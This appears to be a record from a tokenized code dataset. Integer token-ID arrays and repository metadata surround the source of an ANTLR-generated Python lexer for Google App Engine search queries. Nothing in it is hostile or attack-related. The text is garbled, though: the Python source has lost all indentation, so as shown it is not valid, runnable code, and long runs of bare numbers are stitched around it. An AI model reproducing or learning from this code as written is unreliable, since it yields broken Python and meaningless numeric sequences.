6438,
1124,
5,
83,
1040,
334,
262,
2897,
26,
1124,
5,
83,
1040,
2862,
78,
5,
83,
7,
450,
334,
267,
291,
14,
354,
12,
267,
295,
14,
954,
360,
2795,
14474,
3260,
291,
14,
354,
395,
267,
886,
20515,
18,
8332,
8,
3724,
8,
277,
14,
3349,
12,
499,
1724,
199,
199,
318,
3633,
63,
3349,
63,
604,
8,
604,
304,
523,
372,
1004,
59,
19,
11455,
1913,
342,
435,
1557,
78,
7,
199,
199,
318,
1586,
63,
1419,
8,
1291,
304,
523,
1021,
8511,
26,
272,
21467,
4836,
12,
11711,
4387,
12,
1010,
4836,
12,
1010,
792,
7488,
12,
1010,
5081,
12,
971,
272,
1010,
5081,
7021,
7488,
275,
1425,
8,
22,
9,
523,
1174,
275,
8511,
14,
13569,
4836,
819,
1511,
275,
942,
523,
28441,
275,
1052,
523,
3721,
275,
2125,
523,
4952,
275,
488,
819,
367,
1004,
315,
1406,
26,
272,
1004,
275,
1004,
14,
1913,
342,
272,
340,
1174,
508,
8511,
14,
13569,
4836,
26,
489,
340,
1004,
508,
283,
1820,
9701,
6609,
469,
356,
267,
1174,
275,
8511,
14,
607,
4836,
272,
916,
1174,
508,
8511,
14,
607,
4836,
26,
489,
340,
1004,
14,
2460,
15079,
26985,
267,
1174,
275,
8511,
14,
607,
792,
7488,
267,
3721,
275,
3633,
63,
3349,
63,
604,
8,
604,
9,
489,
916,
1004,
508,
28544,
6015,
267,
1174,
275,
8511,
14,
13430,
267,
2059,
272,
916,
1174,
508,
8511,
14,
607,
792,
7488,
26,
489,
340,
1004,
14,
2460,
15079,
26985,
267,
3721,
847,
3633,
63,
3349,
63,
604,
8,
604,
9,
489,
916,
1004,
14,
2460,
360,
4869,
735,
267,
1174,
275,
8511,
14,
607,
5081,
267,
536,
275,
295,
14,
954,
8,
82,
7,
4869,
60,
83,
20900,
87,
13439,
83,
7590,
27824,
6468,
17,
297,
1004,
9,
267,
4952,
275,
11305,
8,
354,
12,
3721,
9,
489,
916,
1004,
14,
4130,
25282,
735,
267,
1174,
275,
8511,
14,
607,
4836,
267,
901,
63,
466,
12,
901,
63,
354,
275,
295,
14,
1431,
8,
82,
21731,
3427,
87,
18096,
83,
20900,
87,
11,
27853,
1004,
680,
2634,
342,
267,
945,
275,
3207,
8,
495,
8,
698,
63,
354,
395,
620,
8,
698,
63,
466,
395,
3721,
9,
267,
1511,
14,
740,
8,
1422,
9,
489,
587,
26,
267,
746,
2186,
360,
3364,
1475,
12,
1420,
3721,
12,
901,
503,
4952,
358,
272,
916,
1174,
508,
8511,
14,
607,
5081,
26,
489,
340,
1004,
14,
2460,
15079,
26985,
267,
1174,
275,
8511,
14,
607,
5081,
7021,
7488,
267,
3721,
275,
3633,
63,
3349,
63,
604,
8,
604,
9,
489,
916,
1004,
508,
28544,
6015,
267,
1174,
275,
8511,
14,
607,
4836,
267,
28441,
59,
4869,
14,
354,
61,
275,
4952,
489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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
overtherain/scriptfile
|
software/googleAppEngine/google/appengine/api/search/QueryLexer.py
|
2
|
32125
|
#!/usr/bin/env python
#
# Copyright 2007 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import sys
from google.appengine._internal.antlr3 import *
from google.appengine._internal.antlr3.compat import set, frozenset
HIDDEN = BaseRecognizer.HIDDEN
FUNCTION=7
LT=19
EXPONENT=37
LETTER=42
FUZZY=8
OCTAL_ESC=46
FLOAT=27
NAME_START=39
NOT=34
AND=32
EOF=-1
LPAREN=25
WORD=15
HAS=24
RPAREN=26
NAME=29
ESC_SEQ=38
ARGS=4
DIGIT=35
EQ=23
DOT=36
NE=22
GE=20
T__47=47
T__48=48
T__49=49
CONJUNCTION=5
UNICODE_ESC=45
NAME_MID=40
NUMBER=12
HEX_DIGIT=44
UNDERSCORE=43
LITERAL=9
INT=28
VALUE=16
TEXT=31
PHRASE=30
RESTRICTION=13
DISJUNCTION=6
WS=17
NEGATION=10
OR=33
NEG=41
GT=21
GLOBAL=11
LE=18
STRING=14
class QueryLexer(Lexer):
grammarFileName = ""
antlr_version = version_str_to_tuple("3.1.1")
antlr_version_str = "3.1.1"
def __init__(self, input=None, state=None):
if state is None:
state = RecognizerSharedState()
Lexer.__init__(self, input, state)
self.dfa12 = self.DFA12(
self, 12,
eot = self.DFA12_eot,
eof = self.DFA12_eof,
min = self.DFA12_min,
max = self.DFA12_max,
accept = self.DFA12_accept,
special = self.DFA12_special,
transition = self.DFA12_transition
)
self.dfa20 = self.DFA20(
self, 20,
eot = self.DFA20_eot,
eof = self.DFA20_eof,
min = self.DFA20_min,
max = self.DFA20_max,
accept = self.DFA20_accept,
special = self.DFA20_special,
transition = self.DFA20_transition
)
def mT__47(self, ):
try:
_type = T__47
_channel = DEFAULT_CHANNEL
pass
self.match(43)
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mT__48(self, ):
try:
_type = T__48
_channel = DEFAULT_CHANNEL
pass
self.match(126)
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mT__49(self, ):
try:
_type = T__49
_channel = DEFAULT_CHANNEL
pass
self.match(44)
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mHAS(self, ):
try:
_type = HAS
_channel = DEFAULT_CHANNEL
pass
self.match(58)
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mOR(self, ):
try:
_type = OR
_channel = DEFAULT_CHANNEL
pass
self.match("OR")
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mAND(self, ):
try:
_type = AND
_channel = DEFAULT_CHANNEL
pass
self.match("AND")
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mNOT(self, ):
try:
_type = NOT
_channel = DEFAULT_CHANNEL
pass
self.match("NOT")
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mINT(self, ):
try:
_type = INT
_channel = DEFAULT_CHANNEL
pass
alt1 = 2
LA1_0 = self.input.LA(1)
if (LA1_0 == 45) :
alt1 = 1
if alt1 == 1:
pass
self.match(45)
cnt2 = 0
while True:
alt2 = 2
LA2_0 = self.input.LA(1)
if ((48 <= LA2_0 <= 57)) :
alt2 = 1
if alt2 == 1:
pass
self.mDIGIT()
else:
if cnt2 >= 1:
break
eee = EarlyExitException(2, self.input)
raise eee
cnt2 += 1
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mFLOAT(self, ):
try:
_type = FLOAT
_channel = DEFAULT_CHANNEL
alt12 = 3
alt12 = self.dfa12.predict(self.input)
if alt12 == 1:
pass
alt3 = 2
LA3_0 = self.input.LA(1)
if (LA3_0 == 45) :
alt3 = 1
if alt3 == 1:
pass
self.match(45)
cnt4 = 0
while True:
alt4 = 2
LA4_0 = self.input.LA(1)
if ((48 <= LA4_0 <= 57)) :
alt4 = 1
if alt4 == 1:
pass
self.mDIGIT()
else:
if cnt4 >= 1:
break
eee = EarlyExitException(4, self.input)
raise eee
cnt4 += 1
self.mDOT()
while True:
alt5 = 2
LA5_0 = self.input.LA(1)
if ((48 <= LA5_0 <= 57)) :
alt5 = 1
if alt5 == 1:
pass
self.mDIGIT()
else:
break
alt6 = 2
LA6_0 = self.input.LA(1)
if (LA6_0 == 69 or LA6_0 == 101) :
alt6 = 1
if alt6 == 1:
pass
self.mEXPONENT()
elif alt12 == 2:
pass
alt7 = 2
LA7_0 = self.input.LA(1)
if (LA7_0 == 45) :
alt7 = 1
if alt7 == 1:
pass
self.match(45)
self.mDOT()
cnt8 = 0
while True:
alt8 = 2
LA8_0 = self.input.LA(1)
if ((48 <= LA8_0 <= 57)) :
alt8 = 1
if alt8 == 1:
pass
self.mDIGIT()
else:
if cnt8 >= 1:
break
eee = EarlyExitException(8, self.input)
raise eee
cnt8 += 1
alt9 = 2
LA9_0 = self.input.LA(1)
if (LA9_0 == 69 or LA9_0 == 101) :
alt9 = 1
if alt9 == 1:
pass
self.mEXPONENT()
elif alt12 == 3:
pass
alt10 = 2
LA10_0 = self.input.LA(1)
if (LA10_0 == 45) :
alt10 = 1
if alt10 == 1:
pass
self.match(45)
cnt11 = 0
while True:
alt11 = 2
LA11_0 = self.input.LA(1)
if ((48 <= LA11_0 <= 57)) :
alt11 = 1
if alt11 == 1:
pass
self.mDIGIT()
else:
if cnt11 >= 1:
break
eee = EarlyExitException(11, self.input)
raise eee
cnt11 += 1
self.mEXPONENT()
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mWS(self, ):
try:
_type = WS
_channel = DEFAULT_CHANNEL
pass
if (9 <= self.input.LA(1) <= 10) or self.input.LA(1) == 13 or self.input.LA(1) == 32:
self.input.consume()
else:
mse = MismatchedSetException(None, self.input)
self.recover(mse)
raise mse
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mPHRASE(self, ):
try:
_type = PHRASE
_channel = DEFAULT_CHANNEL
pass
self.match(34)
while True:
alt13 = 3
LA13_0 = self.input.LA(1)
if (LA13_0 == 92) :
alt13 = 1
elif ((0 <= LA13_0 <= 33) or (35 <= LA13_0 <= 91) or (93 <= LA13_0 <= 65535)) :
alt13 = 2
if alt13 == 1:
pass
self.mESC_SEQ()
elif alt13 == 2:
pass
if (0 <= self.input.LA(1) <= 33) or (35 <= self.input.LA(1) <= 91) or (93 <= self.input.LA(1) <= 65535):
self.input.consume()
else:
mse = MismatchedSetException(None, self.input)
self.recover(mse)
raise mse
else:
break
self.match(34)
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mNAME(self, ):
try:
_type = NAME
_channel = DEFAULT_CHANNEL
pass
self.mNAME_START()
while True:
alt14 = 2
LA14_0 = self.input.LA(1)
if ((48 <= LA14_0 <= 57) or (65 <= LA14_0 <= 90) or LA14_0 == 95 or (97 <= LA14_0 <= 122) or (192 <= LA14_0 <= 214) or (216 <= LA14_0 <= 246) or (248 <= LA14_0 <= 8191) or (12352 <= LA14_0 <= 12687) or (13056 <= LA14_0 <= 13183) or (13312 <= LA14_0 <= 15661) or (19968 <= LA14_0 <= 40959) or (63744 <= LA14_0 <= 64255)) :
alt14 = 1
if alt14 == 1:
pass
self.mNAME_MID()
else:
break
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mLPAREN(self, ):
try:
_type = LPAREN
_channel = DEFAULT_CHANNEL
pass
self.match(40)
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mRPAREN(self, ):
try:
_type = RPAREN
_channel = DEFAULT_CHANNEL
pass
self.match(41)
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mLT(self, ):
try:
_type = LT
_channel = DEFAULT_CHANNEL
pass
self.match(60)
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mGT(self, ):
try:
_type = GT
_channel = DEFAULT_CHANNEL
pass
self.match(62)
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mGE(self, ):
try:
_type = GE
_channel = DEFAULT_CHANNEL
pass
self.match(">=")
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mLE(self, ):
try:
_type = LE
_channel = DEFAULT_CHANNEL
pass
self.match("<=")
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mNE(self, ):
try:
_type = NE
_channel = DEFAULT_CHANNEL
pass
self.match("!=")
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mEQ(self, ):
try:
_type = EQ
_channel = DEFAULT_CHANNEL
pass
self.match(61)
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mNEG(self, ):
try:
_type = NEG
_channel = DEFAULT_CHANNEL
pass
self.match(45)
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mTEXT(self, ):
try:
_type = TEXT
_channel = DEFAULT_CHANNEL
pass
if self.input.LA(1) == 33 or (35 <= self.input.LA(1) <= 39) or (46 <= self.input.LA(1) <= 57) or self.input.LA(1) == 59 or (63 <= self.input.LA(1) <= 125) or (256 <= self.input.LA(1) <= 32767):
self.input.consume()
else:
mse = MismatchedSetException(None, self.input)
self.recover(mse)
raise mse
while True:
alt15 = 2
LA15_0 = self.input.LA(1)
if (LA15_0 == 33 or (35 <= LA15_0 <= 39) or (45 <= LA15_0 <= 57) or LA15_0 == 59 or (63 <= LA15_0 <= 125) or (256 <= LA15_0 <= 32767)) :
alt15 = 1
if alt15 == 1:
pass
if self.input.LA(1) == 33 or (35 <= self.input.LA(1) <= 39) or (45 <= self.input.LA(1) <= 57) or self.input.LA(1) == 59 or (63 <= self.input.LA(1) <= 125) or (256 <= self.input.LA(1) <= 32767):
self.input.consume()
else:
mse = MismatchedSetException(None, self.input)
self.recover(mse)
raise mse
else:
break
self._state.type = _type
self._state.channel = _channel
finally:
pass
def mNAME_START(self, ):
try:
pass
if (65 <= self.input.LA(1) <= 90) or self.input.LA(1) == 95 or (97 <= self.input.LA(1) <= 122) or (192 <= self.input.LA(1) <= 214) or (216 <= self.input.LA(1) <= 246) or (248 <= self.input.LA(1) <= 8191) or (12352 <= self.input.LA(1) <= 12687) or (13056 <= self.input.LA(1) <= 13183) or (13312 <= self.input.LA(1) <= 15661) or (19968 <= self.input.LA(1) <= 40959) or (63744 <= self.input.LA(1) <= 64255):
self.input.consume()
else:
mse = MismatchedSetException(None, self.input)
self.recover(mse)
raise mse
finally:
pass
def mNAME_MID(self, ):
try:
pass
if (48 <= self.input.LA(1) <= 57) or (65 <= self.input.LA(1) <= 90) or self.input.LA(1) == 95 or (97 <= self.input.LA(1) <= 122) or (192 <= self.input.LA(1) <= 214) or (216 <= self.input.LA(1) <= 246) or (248 <= self.input.LA(1) <= 8191) or (12352 <= self.input.LA(1) <= 12687) or (13056 <= self.input.LA(1) <= 13183) or (13312 <= self.input.LA(1) <= 15661) or (19968 <= self.input.LA(1) <= 40959) or (63744 <= self.input.LA(1) <= 64255):
self.input.consume()
else:
mse = MismatchedSetException(None, self.input)
self.recover(mse)
raise mse
finally:
pass
def mLETTER(self, ):
try:
pass
if (65 <= self.input.LA(1) <= 90) or (97 <= self.input.LA(1) <= 122) or (192 <= self.input.LA(1) <= 214) or (216 <= self.input.LA(1) <= 246) or (248 <= self.input.LA(1) <= 8191) or (12352 <= self.input.LA(1) <= 12687) or (13056 <= self.input.LA(1) <= 13183) or (13312 <= self.input.LA(1) <= 15661) or (19968 <= self.input.LA(1) <= 40959) or (63744 <= self.input.LA(1) <= 64255):
self.input.consume()
else:
mse = MismatchedSetException(None, self.input)
self.recover(mse)
raise mse
finally:
pass
def mDIGIT(self, ):
try:
pass
self.matchRange(48, 57)
finally:
pass
def mDOT(self, ):
try:
pass
self.match(46)
finally:
pass
def mUNDERSCORE(self, ):
try:
pass
self.match(95)
finally:
pass
def mEXPONENT(self, ):
try:
pass
if self.input.LA(1) == 69 or self.input.LA(1) == 101:
self.input.consume()
else:
mse = MismatchedSetException(None, self.input)
self.recover(mse)
raise mse
alt16 = 2
LA16_0 = self.input.LA(1)
if (LA16_0 == 43 or LA16_0 == 45) :
alt16 = 1
if alt16 == 1:
pass
if self.input.LA(1) == 43 or self.input.LA(1) == 45:
self.input.consume()
else:
mse = MismatchedSetException(None, self.input)
self.recover(mse)
raise mse
cnt17 = 0
while True:
alt17 = 2
LA17_0 = self.input.LA(1)
if ((48 <= LA17_0 <= 57)) :
alt17 = 1
if alt17 == 1:
pass
self.matchRange(48, 57)
else:
if cnt17 >= 1:
break
eee = EarlyExitException(17, self.input)
raise eee
cnt17 += 1
finally:
pass
def mHEX_DIGIT(self, ):
try:
pass
if (48 <= self.input.LA(1) <= 57) or (65 <= self.input.LA(1) <= 70) or (97 <= self.input.LA(1) <= 102):
self.input.consume()
else:
mse = MismatchedSetException(None, self.input)
self.recover(mse)
raise mse
finally:
pass
def mESC_SEQ(self, ):
try:
alt18 = 3
LA18_0 = self.input.LA(1)
if (LA18_0 == 92) :
LA18 = self.input.LA(2)
if LA18 == 34 or LA18 == 39 or LA18 == 92 or LA18 == 98 or LA18 == 102 or LA18 == 110 or LA18 == 114 or LA18 == 116:
alt18 = 1
elif LA18 == 117:
alt18 = 2
elif LA18 == 48 or LA18 == 49 or LA18 == 50 or LA18 == 51 or LA18 == 52 or LA18 == 53 or LA18 == 54 or LA18 == 55:
alt18 = 3
else:
nvae = NoViableAltException("", 18, 1, self.input)
raise nvae
else:
nvae = NoViableAltException("", 18, 0, self.input)
raise nvae
if alt18 == 1:
pass
self.match(92)
if self.input.LA(1) == 34 or self.input.LA(1) == 39 or self.input.LA(1) == 92 or self.input.LA(1) == 98 or self.input.LA(1) == 102 or self.input.LA(1) == 110 or self.input.LA(1) == 114 or self.input.LA(1) == 116:
self.input.consume()
else:
mse = MismatchedSetException(None, self.input)
self.recover(mse)
raise mse
elif alt18 == 2:
pass
self.mUNICODE_ESC()
elif alt18 == 3:
pass
self.mOCTAL_ESC()
finally:
pass
def mOCTAL_ESC(self, ):
try:
alt19 = 3
LA19_0 = self.input.LA(1)
if (LA19_0 == 92) :
LA19_1 = self.input.LA(2)
if ((48 <= LA19_1 <= 51)) :
LA19_2 = self.input.LA(3)
if ((48 <= LA19_2 <= 55)) :
LA19_4 = self.input.LA(4)
if ((48 <= LA19_4 <= 55)) :
alt19 = 1
else:
alt19 = 2
else:
alt19 = 3
elif ((52 <= LA19_1 <= 55)) :
LA19_3 = self.input.LA(3)
if ((48 <= LA19_3 <= 55)) :
alt19 = 2
else:
alt19 = 3
else:
nvae = NoViableAltException("", 19, 1, self.input)
raise nvae
else:
nvae = NoViableAltException("", 19, 0, self.input)
raise nvae
if alt19 == 1:
pass
self.match(92)
pass
self.matchRange(48, 51)
pass
self.matchRange(48, 55)
pass
self.matchRange(48, 55)
elif alt19 == 2:
pass
self.match(92)
pass
self.matchRange(48, 55)
pass
self.matchRange(48, 55)
elif alt19 == 3:
pass
self.match(92)
pass
self.matchRange(48, 55)
finally:
pass
def mUNICODE_ESC(self, ):
try:
pass
self.match(92)
self.match(117)
self.mHEX_DIGIT()
self.mHEX_DIGIT()
self.mHEX_DIGIT()
self.mHEX_DIGIT()
finally:
pass
def mTokens(self):
alt20 = 22
alt20 = self.dfa20.predict(self.input)
if alt20 == 1:
pass
self.mT__47()
elif alt20 == 2:
pass
self.mT__48()
elif alt20 == 3:
pass
self.mT__49()
elif alt20 == 4:
pass
self.mHAS()
elif alt20 == 5:
pass
self.mOR()
elif alt20 == 6:
pass
self.mAND()
elif alt20 == 7:
pass
self.mNOT()
elif alt20 == 8:
pass
self.mINT()
elif alt20 == 9:
pass
self.mFLOAT()
elif alt20 == 10:
pass
self.mWS()
elif alt20 == 11:
pass
self.mPHRASE()
elif alt20 == 12:
pass
self.mNAME()
elif alt20 == 13:
pass
self.mLPAREN()
elif alt20 == 14:
pass
self.mRPAREN()
elif alt20 == 15:
pass
self.mLT()
elif alt20 == 16:
pass
self.mGT()
elif alt20 == 17:
pass
self.mGE()
elif alt20 == 18:
pass
self.mLE()
elif alt20 == 19:
pass
self.mNE()
elif alt20 == 20:
pass
self.mEQ()
elif alt20 == 21:
pass
self.mNEG()
elif alt20 == 22:
pass
self.mTEXT()
DFA12_eot = DFA.unpack(
u"\6\uffff"
)
DFA12_eof = DFA.unpack(
u"\6\uffff"
)
DFA12_min = DFA.unpack(
u"\1\55\2\56\3\uffff"
)
DFA12_max = DFA.unpack(
u"\2\71\1\145\3\uffff"
)
DFA12_accept = DFA.unpack(
u"\3\uffff\1\2\1\3\1\1"
)
DFA12_special = DFA.unpack(
u"\6\uffff"
)
DFA12_transition = [
DFA.unpack(u"\1\1\1\3\1\uffff\12\2"),
DFA.unpack(u"\1\3\1\uffff\12\2"),
DFA.unpack(u"\1\5\1\uffff\12\2\13\uffff\1\4\37\uffff\1\4"),
DFA.unpack(u""),
DFA.unpack(u""),
DFA.unpack(u"")
]
DFA12 = DFA
DFA20_eot = DFA.unpack(
u"\5\uffff\3\24\1\32\1\35\1\25\2\uffff\1\24\2\uffff\1\43\1\45\1\25"
u"\3\uffff\1\47\3\24\1\uffff\1\35\2\uffff\1\25\1\35\2\34\6\uffff"
u"\1\57\1\60\1\25\2\34\2\25\2\uffff\1\25\1\34\1\25\1\34"
)
DFA20_eof = DFA.unpack(
u"\65\uffff"
)
DFA20_min = DFA.unpack(
u"\1\11\4\uffff\3\41\1\56\1\41\1\60\2\uffff\1\41\2\uffff\3\75\3\uffff"
u"\4\41\1\uffff\1\56\2\uffff\1\53\3\41\6\uffff\2\41\1\60\2\41\2\53"
u"\2\uffff\1\60\1\41\1\60\1\41"
)
DFA20_max = DFA.unpack(
u"\1\ufaff\4\uffff\3\u7fff\1\71\1\u7fff\1\71\2\uffff\1\u7fff\2\uffff"
u"\3\75\3\uffff\1\ufaff\3\u7fff\1\uffff\1\145\2\uffff\1\71\3\u7fff"
u"\6\uffff\2\ufaff\1\71\2\u7fff\2\71\2\uffff\1\71\1\u7fff\1\71\1"
u"\u7fff"
)
DFA20_accept = DFA.unpack(
u"\1\uffff\1\1\1\2\1\3\1\4\6\uffff\1\12\1\13\1\uffff\1\15\1\16\3"
u"\uffff\1\24\1\14\1\26\4\uffff\1\25\1\uffff\1\11\1\10\4\uffff\1"
u"\22\1\17\1\21\1\20\1\23\1\5\7\uffff\1\6\1\7\4\uffff"
)
DFA20_special = DFA.unpack(
u"\65\uffff"
)
DFA20_transition = [
DFA.unpack(u"\2\13\2\uffff\1\13\22\uffff\1\13\1\22\1\14\5\25\1\16"
u"\1\17\1\uffff\1\1\1\3\1\10\1\12\1\25\12\11\1\4\1\25\1\20\1\23\1"
u"\21\2\25\1\6\14\15\1\7\1\5\13\15\4\25\1\15\1\25\32\15\3\25\1\2"
u"\101\uffff\27\24\1\uffff\37\24\1\uffff\10\24\u1f00\15\u1040\25"
u"\u0150\15\u0170\25\u0080\15\u0080\25\u092e\15\u10d2\25\u3200\15"
u"\u2000\24\u5900\uffff\u0200\24"),
DFA.unpack(u""),
DFA.unpack(u""),
DFA.unpack(u""),
DFA.unpack(u""),
DFA.unpack(u"\1\25\1\uffff\5\25\5\uffff\3\25\12\27\1\uffff\1\25"
u"\3\uffff\2\25\21\27\1\26\10\27\4\25\1\27\1\25\32\27\3\25\u0082"
u"\uffff\u1f00\27\u1040\25\u0150\27\u0170\25\u0080\27\u0080\25\u092e"
u"\27\u10d2\25\u3200\27"),
DFA.unpack(u"\1\25\1\uffff\5\25\5\uffff\3\25\12\27\1\uffff\1\25"
u"\3\uffff\2\25\15\27\1\30\14\27\4\25\1\27\1\25\32\27\3\25\u0082"
u"\uffff\u1f00\27\u1040\25\u0150\27\u0170\25\u0080\27\u0080\25\u092e"
u"\27\u10d2\25\u3200\27"),
DFA.unpack(u"\1\25\1\uffff\5\25\5\uffff\3\25\12\27\1\uffff\1\25"
u"\3\uffff\2\25\16\27\1\31\13\27\4\25\1\27\1\25\32\27\3\25\u0082"
u"\uffff\u1f00\27\u1040\25\u0150\27\u0170\25\u0080\27\u0080\25\u092e"
u"\27\u10d2\25\u3200\27"),
DFA.unpack(u"\1\34\1\uffff\12\33"),
DFA.unpack(u"\1\25\1\uffff\5\25\5\uffff\1\25\1\40\1\25\12\37\1\uffff"
u"\1\25\3\uffff\6\25\1\36\37\25\1\36\30\25\u0082\uffff\u7f00\25"),
DFA.unpack(u"\12\41"),
DFA.unpack(u""),
DFA.unpack(u""),
DFA.unpack(u"\1\25\1\uffff\5\25\5\uffff\3\25\12\27\1\uffff\1\25"
u"\3\uffff\2\25\32\27\4\25\1\27\1\25\32\27\3\25\u0082\uffff\u1f00"
u"\27\u1040\25\u0150\27\u0170\25\u0080\27\u0080\25\u092e\27\u10d2"
u"\25\u3200\27"),
DFA.unpack(u""),
DFA.unpack(u""),
DFA.unpack(u"\1\42"),
DFA.unpack(u"\1\44"),
DFA.unpack(u"\1\46"),
DFA.unpack(u""),
DFA.unpack(u""),
DFA.unpack(u""),
DFA.unpack(u"\1\25\1\uffff\5\25\5\uffff\3\25\12\27\1\uffff\1\25"
u"\3\uffff\2\25\32\27\4\25\1\27\1\25\32\27\3\25\102\uffff\27\24\1"
u"\uffff\37\24\1\uffff\10\24\u1f00\27\u1040\25\u0150\27\u0170\25"
u"\u0080\27\u0080\25\u092e\27\u10d2\25\u3200\27\u2000\24\u5900\uffff"
u"\u0200\24"),
DFA.unpack(u"\1\25\1\uffff\5\25\5\uffff\3\25\12\27\1\uffff\1\25"
u"\3\uffff\2\25\32\27\4\25\1\27\1\25\32\27\3\25\u0082\uffff\u1f00"
u"\27\u1040\25\u0150\27\u0170\25\u0080\27\u0080\25\u092e\27\u10d2"
u"\25\u3200\27"),
DFA.unpack(u"\1\25\1\uffff\5\25\5\uffff\3\25\12\27\1\uffff\1\25"
u"\3\uffff\2\25\3\27\1\50\26\27\4\25\1\27\1\25\32\27\3\25\u0082\uffff"
u"\u1f00\27\u1040\25\u0150\27\u0170\25\u0080\27\u0080\25\u092e\27"
u"\u10d2\25\u3200\27"),
DFA.unpack(u"\1\25\1\uffff\5\25\5\uffff\3\25\12\27\1\uffff\1\25"
u"\3\uffff\2\25\23\27\1\51\6\27\4\25\1\27\1\25\32\27\3\25\u0082\uffff"
u"\u1f00\27\u1040\25\u0150\27\u0170\25\u0080\27\u0080\25\u092e\27"
u"\u10d2\25\u3200\27"),
DFA.unpack(u""),
DFA.unpack(u"\1\34\1\uffff\12\33\13\uffff\1\34\37\uffff\1\34"),
DFA.unpack(u""),
DFA.unpack(u""),
DFA.unpack(u"\1\34\1\uffff\1\52\2\uffff\12\53"),
DFA.unpack(u"\1\25\1\uffff\5\25\5\uffff\1\25\1\40\1\25\12\37\1\uffff"
u"\1\25\3\uffff\6\25\1\36\37\25\1\36\30\25\u0082\uffff\u7f00\25"),
DFA.unpack(u"\1\25\1\uffff\5\25\5\uffff\3\25\12\54\1\uffff\1\25"
u"\3\uffff\6\25\1\55\37\25\1\55\30\25\u0082\uffff\u7f00\25"),
DFA.unpack(u"\1\25\1\uffff\5\25\5\uffff\3\25\12\41\1\uffff\1\25"
u"\3\uffff\6\25\1\56\37\25\1\56\30\25\u0082\uffff\u7f00\25"),
DFA.unpack(u""),
DFA.unpack(u""),
DFA.unpack(u""),
DFA.unpack(u""),
DFA.unpack(u""),
DFA.unpack(u""),
DFA.unpack(u"\1\25\1\uffff\5\25\5\uffff\3\25\12\27\1\uffff\1\25"
u"\3\uffff\2\25\32\27\4\25\1\27\1\25\32\27\3\25\102\uffff\27\24\1"
u"\uffff\37\24\1\uffff\10\24\u1f00\27\u1040\25\u0150\27\u0170\25"
u"\u0080\27\u0080\25\u092e\27\u10d2\25\u3200\27\u2000\24\u5900\uffff"
u"\u0200\24"),
DFA.unpack(u"\1\25\1\uffff\5\25\5\uffff\3\25\12\27\1\uffff\1\25"
u"\3\uffff\2\25\32\27\4\25\1\27\1\25\32\27\3\25\102\uffff\27\24\1"
u"\uffff\37\24\1\uffff\10\24\u1f00\27\u1040\25\u0150\27\u0170\25"
u"\u0080\27\u0080\25\u092e\27\u10d2\25\u3200\27\u2000\24\u5900\uffff"
u"\u0200\24"),
DFA.unpack(u"\12\53"),
DFA.unpack(u"\1\25\1\uffff\5\25\5\uffff\3\25\12\53\1\uffff\1\25"
u"\3\uffff\77\25\u0082\uffff\u7f00\25"),
DFA.unpack(u"\1\25\1\uffff\5\25\5\uffff\3\25\12\54\1\uffff\1\25"
u"\3\uffff\6\25\1\55\37\25\1\55\30\25\u0082\uffff\u7f00\25"),
DFA.unpack(u"\1\34\1\uffff\1\61\2\uffff\12\62"),
DFA.unpack(u"\1\34\1\uffff\1\63\2\uffff\12\64"),
DFA.unpack(u""),
DFA.unpack(u""),
DFA.unpack(u"\12\62"),
DFA.unpack(u"\1\25\1\uffff\5\25\5\uffff\3\25\12\62\1\uffff\1\25"
u"\3\uffff\77\25\u0082\uffff\u7f00\25"),
DFA.unpack(u"\12\64"),
DFA.unpack(u"\1\25\1\uffff\5\25\5\uffff\3\25\12\64\1\uffff\1\25"
u"\3\uffff\77\25\u0082\uffff\u7f00\25")
]
DFA20 = DFA
def main(argv, stdin=sys.stdin, stdout=sys.stdout, stderr=sys.stderr):
from google.appengine._internal.antlr3.main import LexerMain
main = LexerMain(QueryLexer)
main.stdin = stdin
main.stdout = stdout
main.stderr = stderr
main.execute(argv)
if __name__ == '__main__':
main(sys.argv)
|
mit
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
3,
199,
3,
1898,
10219,
4475,
3277,
14,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
258,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
3,
421,
199,
646,
984,
199,
504,
6233,
14,
15358,
423,
4672,
14,
867,
7493,
19,
492,
627,
199,
504,
6233,
14,
15358,
423,
4672,
14,
867,
7493,
19,
14,
5819,
492,
663,
